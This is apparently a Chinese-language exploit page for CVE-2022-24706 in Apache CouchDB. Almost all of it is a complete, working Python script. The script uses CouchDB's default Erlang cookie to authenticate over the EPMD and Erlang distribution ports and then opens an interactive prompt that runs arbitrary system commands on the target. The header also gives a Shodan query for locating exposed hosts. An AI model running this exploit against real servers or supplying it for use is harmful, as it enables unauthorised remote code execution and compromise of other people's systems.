Apache CouchDB epmd 远程命令执行漏洞

CVE-2022-24706 Apache couchdb 默认erlang-cookie的RCE漏洞

该exp为交互式命令执行利用脚本

  1. # Exploit Title: Apache CouchDB 3.2.1 - Remote Code Execution (RCE)
  2. # Date: 2022-01-21
  3. # Exploit Author: Konstantin Burov, @_sadshade
  4. # Software Link: https://couchdb.apache.org/
  5. # Version: 3.2.1 and below
  6. # Tested on: Kali 2021.2
  7. # Based on 1F98D's Erlang Cookie - Remote Code Execution
  8. # Shodan: port:4369 "name couchdb at"
  9. # CVE: CVE-2022-24706
  10. # References:
  11. #  https://habr.com/ru/post/661195/
  12. #  https://www.exploit-db.com/exploits/49418
  13. #  https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
  14. #  https://book.hacktricks.xyz/pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd#erlang-cookie-rce
  15. # 
  16. #
  17. #!/usr/local/bin/python3
  19. import socket
  20. from hashlib import md5
  21. import struct
  22. import sys
  23. import re
  24. import time
  26. TARGET = ""
  27. EPMD_PORT = 4369 # Default Erlang distributed port
  28. COOKIE = "monster" # Default Erlang cookie for CouchDB 
  29. ERLNAG_PORT = 0
  30. EPM_NAME_CMD = b"\x00\x01\x6e" # Request for nodes list
  32. # Some data:
  33. NAME_MSG  = b"\x00\x15n\x00\x07\x00\x03\x49\x9cAAAAAA@AAAAAAA"
  34. CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
  35. CTRL_DATA  = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"
  36. CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"
  39. def compile_cmd(CMD):
  40.     MSG  = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"
  41.     MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
  42.     MSG += struct.pack(">H", len(CMD))
  43.     MSG += bytes(CMD, 'ascii')
  44.     MSG += b'jw\x04user'
  45.     PAYLOAD = b'\x70' + CTRL_DATA + MSG
  46.     PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
  47.     return PAYLOAD
  49. print("Remote Command Execution via Erlang Distribution Protocol.\n")
  51. while not TARGET:
  52.     TARGET = input("Enter target host:\n> ")
  54. # Connect to EPMD:
  55. try:
  56.     epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  57.     epm_socket.connect((TARGET, EPMD_PORT))
  58. except socket.error as msg:
  59.     print("Couldnt connect to EPMD: %s\n terminating program" % msg)
  60.     sys.exit(1)
  62. epm_socket.send(EPM_NAME_CMD) #request Erlang nodes
  63. if epm_socket.recv(4) == b'\x00\x00\x11\x11': # OK
  64.     data = epm_socket.recv(1024)
  65.     data = data[0:len(data) - 1].decode('ascii')
  66.     data = data.split("\n")
  67.     if len(data) == 1:
  68.         choise = 1
  69.         print("Found " + data[0])
  70.     else:
  71.         print("\nMore than one node found, choose which one to use:")
  72.         line_number = 0
  73.         for line in data:
  74.             line_number += 1
  75.             print(" %d) %s" %(line_number, line))
  76.         choise = int(input("\n> "))
  78.     ERLNAG_PORT = int(re.search("\d+$",data[choise - 1])[0])
  79. else:
  80.     print("Node list request error, exiting")
  81.     sys.exit(1)
  82. epm_socket.close()
  84. # Connect to Erlang port:
  85. try:
  86.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  87.     s.connect((TARGET, ERLNAG_PORT))
  88. except socket.error as msg:
  89.     print("Couldnt connect to Erlang server: %s\n terminating program" % msg)
  90.     sys.exit(1)
  92. s.send(NAME_MSG)
  93. s.recv(5)                    # Receive "ok" message
  94. challenge = s.recv(1024)     # Receive "challenge" message
  95. challenge = struct.unpack(">I", challenge[9:13])[0]
  97. #print("Extracted challenge: {}".format(challenge))
  99. # Add Challenge Digest
  100. CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
  101.     + bytes(str(challenge), "ascii")).digest()
  102. s.send(CHALLENGE_REPLY)
  103. CHALLENGE_RESPONSE = s.recv(1024)
  105. if len(CHALLENGE_RESPONSE) == 0:
  106.     print("Authentication failed, exiting")
  107.     sys.exit(1)
  109. print("Authentication successful")
  110. print("Enter command:\n")
  112. data_size = 0
  113. while True:
  114.     if data_size <= 0:
  115.         CMD = input("> ")
  116.         if not CMD:
  117.             continue
  118.         elif CMD == "exit":
  119.             sys.exit(0)
  120.         s.send(compile_cmd(CMD))
  121.         data_size = struct.unpack(">I", s.recv(4))[0] # Get data size
  122.         s.recv(45)              # Control message
  123.         data_size -= 45         # Data size without control message
  124.         time.sleep(0.1)
  125.     elif data_size < 1024:        
  126.         data = s.recv(data_size)
  127.         #print("S---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
  128.         time.sleep(0.1)
  129.         print(data.decode())
  130.         data_size = 0
  131.     else:        
  132.         data = s.recv(1024)
  133.         #print("L---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
  134.         time.sleep(0.1)
  135.         print(data.decode(),end = '')
  136.         data_size -= 1024